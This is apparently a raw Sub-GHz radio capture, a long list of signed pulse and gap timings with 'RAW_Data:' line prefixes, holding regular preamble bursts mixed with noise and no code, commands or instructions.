63 -62 127 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -128 63 -64 125 -64 63 -62 63 -128 127 -128 63 -54 69 -64 61 -64 127 -130 127 -126 127 -120 135 -56 69 -126 63 -62 127 -64 61 -128 127 -128 127 -56 69 -62 61 -128 127 -64 63 -62 63 -62 63 -64 63 -128 63 -64 125 -64 63 -126 65 -62 63 -62 127 -64 63 -62 265 -177 115 -192 240 -54 89 -131 285 -155 96 -146 172 -215 59 -96 65 -357 81 -98 142 -140 67 -172 79 -86 134 -601 65 -392 87 -650 71 -320 88 -188 75 -335 73 -607 85 -299 53 -72 89 -64 94 -212 106 -54 129 -320 151 -168 101 -111 51 -144 61 -121 196 -322 71 -358 51 -126 129 -150 53 -116 69 -348 169 -438 123 -54 70 -674 216 -70 55 -644 113 -144 63 -237 106 -406 130 -175 69 -314 90 -247 63 -408 75 -240 63 -62 53 -176 67 -381 67 -164 59 -326 51 -136 83 -289 59 -102 112 -393 61 -72 111 -68 59 -90 57 -658 59 -52 55 -185 53 -184 57 -158 67 -299 113 -292 86 -389 71 -232 75 -365 63 -423 73 -380 97 -287 51 -867 57 -105 53 -192 63 -354 132 -179 64 -110 85 -113 114 -193 55 -277 133 -270 59 -976 53 -58 132 -412 59 -233 125 -150 67 -325 -RAW_Data: 84 -466 89 -353 89 -125 99 -224 71 -232 93 -531 79 -200 96 -208 110 -98 53 -272 53 -362 51 -318 262 -631 51 -358 59 -192 67 -177 53 -182 82 -592 104 -120 61 -425 89 -160 59 -98 104 -90 136 -470 61 -405 75 -477 98 -152 105 -298 89 -280 81 -506 51 -313 51 -792 105 -263 125 -77 53 -488 69 -160 95 -141 99 -89 183 -122 79 -90 111 -148 179 -56 445 -54 53 -54 352 -54 196 -62 53 -108 59 -134 107 -121 53 -199 156 -52 89 -132 67 -119 159 -86 61 -68 55 -170 53 -114 77 -58 111 -80 179 -145 327 -81 61 -212 79 -131 77 -121 183 -95 51 -52 89 -97 71 -54 182 -56 77 -72 87 -124 63 -299 126 -152 53 -82 120 -112 85 -119 119 -92 71 -84 51 -204 129 -95 51 -108 57 -94 161 -108 291 -215 127 -87 188 -125 65 -68 238 -52 61 -111 113 -96 107 -54 57 -54 95 -124 208 -52 98 -217 89 -119 114 -134 271 -89 335 -158 107 -94 125 -107 63 -97 88 -146 230 -160 69 -62 86 -66 97 -96 176 -241 249 -108 126 -80 172 -54 231 -84 61 -87 159 -62 186 -274 73 -96 292 -110 137 -197 99 -259 141 -66 159 -80 134 -72 89 -224 142 -98 152 -133 77 -175 53 -60 156 -116 137 -167 166 -245 59 -86 115 -245 69 -216 85 -351 84 -587 198 -545 299 -123 75 -285 63 -168 118 -171 88 -310 93 -255 61 -105 75 -90 69 -147 88 -62 97 -103 81 -234 61 -369 95 -163 63 -298 98 -54 125 -86 136 -371 133 -148 166 -343 104 -441 77 -102 67 -194 116 -72 61 -307 107 -453 76 -250 181 -533 53 -170 159 -937 69 -332 53 -718 75 -119 61 -90 75 -549 53 -295 57 -462 53 -104 53 -481 99 -172 63 -68 59 -409 101 -251 61 -201 145 -485 63 -477 113 -665 55 -164 81 -469 61 -54 116 -251 78 -154 53 -255 102 -223 85 -163 101 -232 98 -218 135 -113 69 -56 152 -335 87 -330 63 -515 71 -462 73 -125 73 -168 77 -97 112 -288 87 -258 61 -248 55 -58 89 -58 97 -313 102 -241 78 -72 75 -186 283 -108 71 -292 53 -132 112 -126 61 -188 67 -90 63 -54 186 -54 177 -134 51 -262 83 -190 71 -78 63 -275 51 -505 51 -200 65 -295 138 -330 167 -223 329 -108 81 -514 79 -276 124 -259 176 -68 57 -571 99 -82 99 -667 55 -187 90 -227 61 -252 51 -401 194 -110 238 -281 61 -76 115 -193 87 -62 53 -76 163 -151 51 -206 63 -270 61 -60 97 -126 89 -60 61 -160 61 -105 113 -102 -RAW_Data: 63 -223 73 -271 139 -62 169 -156 82 -54 69 -107 133 -96 375 -334 63 -60 106 -54 53 -142 71 -180 105 -150 97 -94 167 -301 89 -112 111 -54 59 -330 265 -113 69 -198 125 -82 123 -72 173 -286 142 -72 81 -54 228 -58 161 -424 89 -58 79 -108 51 -104 87 -191 341 -96 59 -131 75 -96 273 -162 57 -66 89 -72 385 -72 53 -96 200 -81 201 -151 115 -108 79 -98 75 -54 331 -106 324 -70 51 -82 63 -98 71 -54 87 -76 461 -114 121 -70 101 -123 142 -99 229 -126 63 -189 101 -165 103 -68 284 -114 208 -142 153 -149 51 -213 158 -409 59 -127 112 -176 77 -105 119 -72 105 -66 51 -100 71 -74 59 -96 59 -90 125 -95 101 -72 86 -449 59 -226 294 -86 122 -224 67 -159 77 -164 94 -376 53 -358 53 -189 97 -52 95 -64 118 -306 101 -641 95 -200 119 -180 53 -254 77 -305 81 -630 105 -934 51 -347 51 -1377 69 -315 59 -96 75 -116 53 -179 149 -219 53 -100 59 -318 89 -793 59 -370 63 -159 93 -381 111 -74 90 -158 94 -54 117 -127 61 -128 63 -95 51 -316 51 -241 69 -175 103 -342 75 -249 53 -245 167 -251 124 -182 141 -319 53 -220 71 -180 107 -200 53 -358 59 -70 205 -164 61 -515 89 -84 100 -294 63 -270 63 -198 71 -120 90 -72 69 -312 69 -143 133 -243 53 -64 53 -426 53 -100 53 -403 89 -274 107 -206 53 -225 131 -615 69 -1115 133 -96 51 -72 63 -139 97 -126 143 -608 147 -104 67 -295 103 -214 69 -150 110 -309 51 -99 186 -564 79 -227 71 -303 88 -186 81 -303 63 -108 63 -179 53 -423 53 -191 71 -277 61 -104 59 -88 88 -301 63 -665 103 -659 69 -78 75 -122 90 -228 51 -1491 65 -153 75 -62 53 -240 73 -225 117 -94 59 -62 71 -224 949 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 -RAW_Data: 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 191 -155 81 -211 130 -1171 67 -154 65 -409 55 -60 51 -294 89 -147 59 -277 57 -918 59 -100 59 -145 75 -54 98 -231 61 -668 71 -295 59 -76 51 -54 53 -673 106 -90 53 -196 53 -575 130 -116 77 -112 79 -56 59 -104 53 -148 63 -68 89 -70 176 -485 125 -90 144 -114 116 -307 67 -88 172 -812 79 -226 154 -259 158 -142 51 -544 71 -297 97 -224 89 -277 191 -124 63 -179 55 -146 82 -60 103 -116 81 -702 59 -503 67 -90 204 -111 59 -324 59 -652 51 -82 67 -180 53 -726 281 -214 142 -80 67 -281 188 -54 61 -563 51 -84 51 -231 135 -392 78 -373 123 -100 71 -98 53 -288 51 -217 105 -123 76 -170 79 -628 109 -424 69 -318 81 -174 59 -134 53 -142 69 -1095 85 -353 51 -241 139 -146 88 -345 114 -262 53 -889 151 -84 53 -228 74 -60 104 -88 82 -133 398 -205 61 -212 53 -64 71 -599 53 -118 53 -517 67 -72 71 -122 123 -601 129 -284 140 -196 96 -94 145 -224 159 -62 53 -469 61 -268 61 -618 81 -62 63 -256 81 -596 1111 -56 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 127 -126 127 -120 135 -56 67 -126 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 63 -64 127 -128 63 -64 61 -62 127 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 69 -64 61 -64 63 -62 63 -64 63 -128 63 -64 125 -64 63 -62 63 -128 127 -128 63 -62 61 -64 63 -62 127 -130 127 -128 125 -120 135 -56 67 -126 63 -64 127 -64 61 -128 127 -128 127 -56 69 -62 61 -128 127 -64 63 -62 63 -62 63 -64 63 -128 127 -128 127 -120 63 -62 133 -64 61 -64 61 -64 305 -516 53 -442 118 -372 106 -170 75 -215 71 -283 61 -216 162 -564 91 -313 126 -102 77 -505 57 -218 71 -104 59 -211 113 -463 83 -371 61 -176 51 -904 123 -302 53 -356 61 -266 63 -116 130 -240 61 -295 67 -277 53 -52 89 -66 89 -320 53 -54 79 -161 57 -82 89 -288 81 -373 57 -386 61 -106 51 -158 89 -54 152 -182 88 -279 126 -108 51 -134 75 -102 127 -76 61 -1178 85 -122 53 -807 79 -332 81 -607 95 -252 163 -400 51 -67 63 -771 77 -773 113 -370 61 -501 80 -263 51 -626 91 -94 53 -114 117 -321 93 -70 75 -244 59 -431 141 -458 53 -180 103 -576 67 -500 75 -337 53 -126 73 -237 63 -298 174 -360 51 -327 69 -280 108 -292 59 -52 135 -130 158 -62 51 -165 80 -653 151 -64 67 -66 96 -151 95 -466 87 -193 51 -141 81 -54 53 -175 79 -190 63 -232 142 -621 107 -314 143 -92 53 -114 67 -218 59 -211 79 -191 51 -824 57 -341 73 -219 130 -248 53 -220 57 -180 55 -258 63 -80 71 -295 87 -174 89 -132 53 -112 165 -64 51 -164 129 -200 63 -54 103 -114 150 -180 81 -212 83 -219 51 -76 80 -85 137 -320 103 -88 102 -306 81 -143 71 -216 88 -1373 157 -410 110 -80 51 -174 170 -234 86 -72 147 -185 80 -78 61 -168 121 -97 63 -199 63 -163 59 -60 59 -120 120 -202 73 -344 137 -52 97 -209 188 -80 162 -492 63 -199 51 -104 63 -501 191 -76 51 -137 -RAW_Data: 70 -209 51 -496 53 -72 53 -267 59 -147 53 -737 57 -970 59 -52 59 -125 55 -769 107 -209 59 -342 51 -60 51 -62 121 -152 103 -178 83 -308 57 -96 51 -393 88 -913 75 -1124 93 -458 126 -72 69 -634 61 -54 105 -262 88 -1083 67 -269 61 -162 59 -205 53 -480 53 -315 71 -220 214 -357 133 -237 67 -111 106 -124 69 -216 85 -361 67 -420 137 -120 53 -54 61 -553 97 -395 67 -132 59 -664 89 -134 57 -284 59 -170 124 -511 81 -66 63 -88 126 -390 119 -295 73 -94 75 -358 110 -141 81 -331 53 -581 107 -120 106 -70 102 -476 73 -162 59 -72 107 -70 139 -364 77 -66 57 -705 71 -545 98 -127 59 -82 67 -196 89 -62 57 -139 83 -80 53 -376 51 -151 67 -519 70 -897 53 -122 93 -116 114 -230 53 -114 59 -658 51 -563 61 -260 106 -88 107 -470 75 -141 51 -248 128 -100 53 -294 65 -324 131 -253 67 -68 200 -270 95 -60 65 -117 63 -209 77 -270 233 -564 53 -142 83 -482 71 -266 65 -563 87 -548 71 -98 55 -62 106 -1351 71 -160 67 -90 53 -154 69 -136 106 -294 133 -241 117 -205 81 -418 106 -464 61 -357 73 -128 137 -192 59 -86 103 -550 53 -524 108 -90 65 -290 53 -427 59 -192 53 -283 73 -177 91 -178 141 -488 55 -754 55 -203 71 -250 75 -72 61 -136 57 -82 148 -114 53 -52 67 -154 61 -279 53 -276 59 -546 53 -296 91 -90 111 -414 103 -582 160 -213 97 -70 69 -1195 169 -317 85 -470 105 -140 88 -68 104 -74 86 -762 69 -357 51 -358 179 -489 100 -277 99 -78 83 -92 71 -174 61 -165 53 -136 106 -74 148 -64 75 -777 179 -492 96 -72 75 -212 75 -102 97 -741 63 -277 69 -699 87 -150 114 -82 160 -813 301 -997 89 -260 65 -86 69 -82 59 -151 61 -227 55 -216 59 -62 53 -82 185 -274 75 -140 128 -124 77 -366 59 -280 76 -596 67 -268 67 -96 63 -134 91 -151 63 -380 81 -98 53 -118 61 -408 106 -420 61 -395 108 -443 125 -299 87 -234 59 -438 138 -90 51 -270 79 -180 53 -88 141 -54 65 -96 53 -979 194 -340 77 -262 75 -423 83 -653 74 -436 53 -1042 53 -797 53 -647 136 -352 57 -160 291 -70 87 -82 107 -253 104 -92 53 -237 73 -286 69 -128 98 -62 70 -54 59 -170 51 -434 53 -204 95 -226 87 -136 67 -162 63 -152 53 -164 101 -326 120 -108 53 -358 81 -116 53 -277 159 -240 71 -728 59 -468 81 -108 125 -636 61 -305 53 -100 99 -52 106 -295 -RAW_Data: 85 -108 67 -649 73 -196 107 -134 87 -106 53 -155 53 -155 75 -347 53 -578 570 -56 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 209 -98 179 -56 180 -102 215 -260 158 -168 69 -735 93 -54 65 -78 110 -98 53 -136 106 -54 76 -74 63 -62 71 -100 51 -273 73 -90 51 -507 103 -760 53 -402 57 -250 212 -570 99 -250 85 -584 103 -160 106 -80 148 -507 53 -72 73 -410 86 -216 103 -277 89 -234 83 -370 73 -142 93 -494 107 -356 59 -369 67 -1071 81 -391 59 -414 103 -417 65 -215 81 -516 53 -118 67 -304 57 -200 69 -314 53 -814 59 -90 59 -232 51 -117 97 -160 147 -152 105 -1146 57 -344 110 -372 59 -488 130 -421 88 -218 130 -123 113 -381 130 -294 -RAW_Data: 61 -232 53 -1058 83 -91 51 -56 57 -402 61 -111 109 -220 85 -192 122 -669 63 -62 95 -132 102 -265 83 -98 125 -197 59 -222 93 -197 184 -1017 59 -89 53 -228 278 -775 51 -907 123 -74 105 -84 78 -202 63 -74 116 -162 114 -380 69 -246 65 -229 59 -863 72 -615 115 -184 90 -84 99 -327 53 -80 53 -120 69 -505 151 -156 51 -201 157 -575 57 -361 61 -548 61 -130 51 -140 103 -207 53 -819 53 -487 1067 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -128 125 -120 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 125 -130 63 -62 63 -62 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -128 127 -128 63 -56 67 -64 61 -64 63 -64 63 -64 127 -64 61 -128 127 -56 71 -62 61 -128 127 -66 61 -62 63 -62 63 -128 127 -64 63 -126 127 -64 63 -62 63 -126 63 -64 127 -128 63 -62 127 -128 63 -62 125 -66 61 -128 127 -56 69 -126 129 -56 69 -62 63 -126 323 -88 61 -1652 55 -62 61 -102 97 -756 81 -186 83 -308 71 -161 75 -123 77 -148 73 -259 78 -214 81 -112 124 -440 95 -633 73 -98 69 -62 61 -332 85 -186 96 -1073 61 -192 65 -126 73 -361 71 -410 51 -458 125 -124 53 -424 59 -245 111 -502 120 -405 51 -296 59 -231 73 -72 65 -291 81 -205 57 -151 97 -395 142 -296 59 -1089 53 -136 55 -173 146 -217 73 -115 105 -155 63 -341 148 -133 115 -216 71 -546 126 -220 83 -217 59 -76 116 -344 73 -76 81 -180 146 -842 69 -98 81 -54 88 -183 67 -116 53 -356 274 -198 100 -339 75 -364 53 -92 -RAW_Data: 71 -655 75 -233 118 -167 135 -541 73 -400 113 -131 75 -98 107 -90 71 -125 71 -533 98 -580 110 -229 103 -334 143 -204 53 -206 117 -126 135 -511 118 -549 139 -206 105 -745 89 -426 53 -574 73 -68 65 -84 110 -326 53 -144 59 -272 51 -234 63 -303 51 -116 71 -212 51 -436 51 -144 79 -384 75 -513 73 -239 63 -90 61 -465 51 -372 89 -196 53 -162 59 -178 53 -166 59 -194 51 -60 57 -62 89 -106 73 -158 75 -52 97 -476 111 -384 61 -80 89 -122 243 -54 122 -126 89 -118 291 -155 63 -62 143 -111 110 -54 118 -84 366 -74 71 -90 63 -162 59 -231 115 -236 272 -258 79 -64 51 -180 77 -261 157 -190 53 -72 113 -116 51 -80 294 -98 53 -124 61 -99 143 -108 76 -199 97 -72 126 -72 59 -76 113 -111 63 -273 227 -90 91 -102 83 -453 53 -84 75 -119 61 -158 182 -296 170 -54 208 -84 199 -211 57 -98 73 -149 57 -111 61 -172 91 -68 91 -99 67 -177 138 -191 141 -317 205 -223 167 -54 124 -170 139 -99 61 -98 113 -106 107 -54 230 -184 129 -224 124 -142 168 -54 167 -285 96 -753 53 -484 71 -184 53 -205 241 -281 57 -350 51 -82 69 -102 77 -230 73 -105 73 -428 59 -382 65 -209 132 -188 53 -230 119 -465 59 -92 97 -631 158 -266 53 -110 69 -305 51 -266 61 -275 59 -400 72 -74 99 -70 81 -108 70 -182 88 -124 53 -56 165 -152 57 -281 59 -68 110 -1082 53 -82 53 -275 128 -829 140 -636 123 -60 89 -216 81 -96 81 -492 97 -58 71 -274 71 -382 96 -248 61 -76 57 -336 196 -358 105 -206 89 -62 133 -136 89 -166 99 -98 59 -54 53 -90 53 -56 51 -72 132 -64 53 -72 65 -132 51 -102 91 -414 107 -451 57 -211 107 -407 105 -134 63 -498 79 -308 55 -668 83 -84 177 -56 51 -52 127 -120 65 -290 140 -68 89 -189 90 -590 53 -177 55 -637 97 -132 116 -215 81 -90 106 -386 59 -716 103 -74 114 -158 63 -204 77 -56 75 -333 150 -94 103 -312 59 -570 86 -143 51 -193 53 -54 53 -233 139 -114 63 -327 107 -226 125 -315 73 -262 63 -89 127 -271 81 -255 104 -333 140 -479 107 -456 84 -98 83 -426 51 -414 53 -98 83 -397 69 -690 129 -268 71 -558 61 -409 161 -52 53 -427 88 -60 86 -62 161 -242 53 -1242 79 -120 81 -308 183 -186 93 -523 246 -88 53 -84 146 -66 67 -58 179 -239 127 -411 177 -136 290 -124 51 -200 118 -202 200 -131 167 -309 71 -318 83 -151 -RAW_Data: 53 -197 53 -382 63 -125 123 -81 79 -219 69 -167 75 -172 89 -68 196 -114 79 -98 69 -388 59 -148 73 -108 127 -314 203 -56 53 -90 88 -204 163 -222 280 -68 73 -52 156 -119 65 -149 164 -412 182 -162 53 -54 53 -325 69 -68 170 -142 125 -244 177 -231 61 -217 273 -88 83 -111 69 -309 87 -121 138 -155 79 -81 232 -185 220 -226 101 -64 177 -78 67 -72 201 -54 53 -132 61 -138 272 -106 107 -183 219 -150 180 -76 337 -232 103 -58 77 -246 69 -72 65 -70 109 -188 157 -381 77 -309 97 -461 78 -118 73 -72 151 -228 57 -514 99 -64 79 -256 69 -524 59 -228 95 -62 63 -254 71 -129 142 -108 318 -149 71 -184 71 -486 75 -90 51 -617 136 -231 53 -241 69 -96 51 -343 119 -222 51 -136 73 -246 51 -226 118 -166 100 -74 59 -572 150 -99 96 -567 53 -96 53 -312 163 -287 130 -703 174 -697 75 -383 53 -108 53 -108 63 -224 93 -168 59 -487 65 -222 55 -282 109 -175 53 -487 65 -242 79 -321 53 -420 121 -166 71 -108 69 -174 89 -133 70 -116 97 -78 75 -233 71 -386 88 -204 79 -148 67 -60 51 -480 67 -146 51 -244 61 -149 91 -354 89 -587 112 -271 109 -440 78 -72 210 -198 125 -707 59 -143 128 -112 129 -389 51 -338 57 -170 55 -184 97 -173 67 -82 105 -145 105 -463 51 -334 57 -285 102 -76 105 -82 57 -743 114 -162 63 -149 95 -652 67 -466 53 -418 73 -86 53 -82 185 -60 53 -62 67 -94 79 -82 113 -66 89 -54 53 -84 89 -199 55 -134 70 -413 51 -511 81 -175 63 -147 53 -289 53 -194 65 -216 63 -132 581 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 279 -356 53 -90 61 -196 71 -321 77 -921 59 -146 67 -178 123 -62 105 -170 55 -106 53 -277 61 -114 89 -475 97 -168 63 -80 114 -190 59 -180 69 -260 67 -358 77 -120 87 -118 53 -176 295 -124 106 -158 65 -210 75 -90 83 -66 63 -72 73 -194 69 -566 85 -225 166 -231 53 -90 61 -288 72 -338 171 -713 102 -309 65 -294 55 -225 67 -225 77 -92 69 -116 61 -230 117 -97 51 -98 72 -76 73 -434 65 -54 57 -98 111 -83 103 -80 53 -60 133 -356 53 -120 67 -90 81 -128 171 -82 51 -192 71 -252 53 -238 51 -174 105 -180 129 -256 63 -181 114 -229 131 -112 121 -54 178 -141 71 -277 59 -255 75 -588 80 -52 105 -492 127 -80 162 -130 63 -711 61 -60 55 -266 176 -357 183 -106 126 -238 142 -376 65 -126 106 -106 107 -143 148 -91 63 -517 83 -277 79 -188 61 -158 59 -54 113 -80 76 -287 110 -250 53 -536 93 -323 85 -379 57 -478 138 -152 229 -98 87 -290 73 -126 61 -315 114 -482 138 -116 61 -297 59 -309 65 -359 61 -90 69 -767 71 -174 51 -702 51 -54 61 -166 65 -258 51 -557 140 -150 63 -281 93 -86 93 -212 61 -72 71 -184 63 -116 53 -139 85 -116 51 -365 120 -251 57 -161 63 -314 81 -175 83 -660 131 -261 77 -528 53 -54 190 -198 51 -234 89 -82 941 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -62 63 -64 63 -64 127 -128 127 -128 125 -120 135 -56 69 -126 127 -128 127 -126 63 -54 133 -64 63 -64 61 -64 61 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -64 125 -130 63 -62 63 -62 127 -128 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -62 61 -64 63 -64 63 -62 63 -128 129 -128 63 -62 61 -62 63 -64 61 -64 63 -64 127 -64 63 -126 129 -56 69 -62 63 -126 129 -64 61 -62 63 -64 61 -128 129 -64 61 -126 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 125 -128 63 -64 125 -64 61 -64 61 -128 129 -128 127 -126 127 -120 329 -76 78 -70 53 -450 63 -185 98 -255 61 -476 71 -154 97 -282 55 -98 53 -189 98 -186 79 -162 61 -120 127 -230 67 -256 79 -225 53 -374 53 -134 51 -264 63 -232 107 -180 91 -54 133 -66 65 -147 63 -490 65 -237 172 -135 98 -54 63 -858 69 -477 89 -762 61 -324 51 -150 59 -58 63 -500 51 -168 85 -317 89 -136 71 -237 83 -52 87 -740 57 -152 67 -339 83 -68 97 -80 73 -603 53 -125 53 -94 137 -207 158 -637 114 -169 101 -110 55 -714 55 -82 61 -112 59 -495 53 -338 63 -100 97 -219 67 -369 89 -156 70 -90 70 -240 72 -76 221 -130 59 -131 57 -140 137 -116 91 -140 51 -125 53 -421 51 -565 53 -551 98 -242 51 -155 65 -269 103 -60 59 -74 51 -260 95 -76 53 -303 100 -333 114 -118 87 -258 139 -166 74 -160 83 -52 69 -399 81 -751 53 -148 81 -274 63 -98 51 -66 135 -602 51 -417 59 -144 150 -175 67 -332 187 -324 71 -940 138 -76 59 -82 53 -108 55 -411 61 -117 63 -202 63 -98 63 -376 172 -94 79 -227 87 -450 61 -427 63 -350 88 -473 77 -441 131 -64 63 -1074 93 -90 67 -158 65 -68 59 -948 147 -262 73 -168 51 -309 51 -102 61 -80 115 -106 203 -236 65 -355 246 -210 63 -75 165 -140 69 -143 61 -139 -RAW_Data: 97 -56 236 -98 59 -96 53 -82 463 -178 53 -126 53 -148 224 -86 543 -132 83 -52 302 -161 101 -56 91 -68 89 -94 283 -56 71 -184 288 -172 121 -76 215 -86 71 -122 205 -81 84 -187 122 -230 81 -92 216 -84 81 -68 129 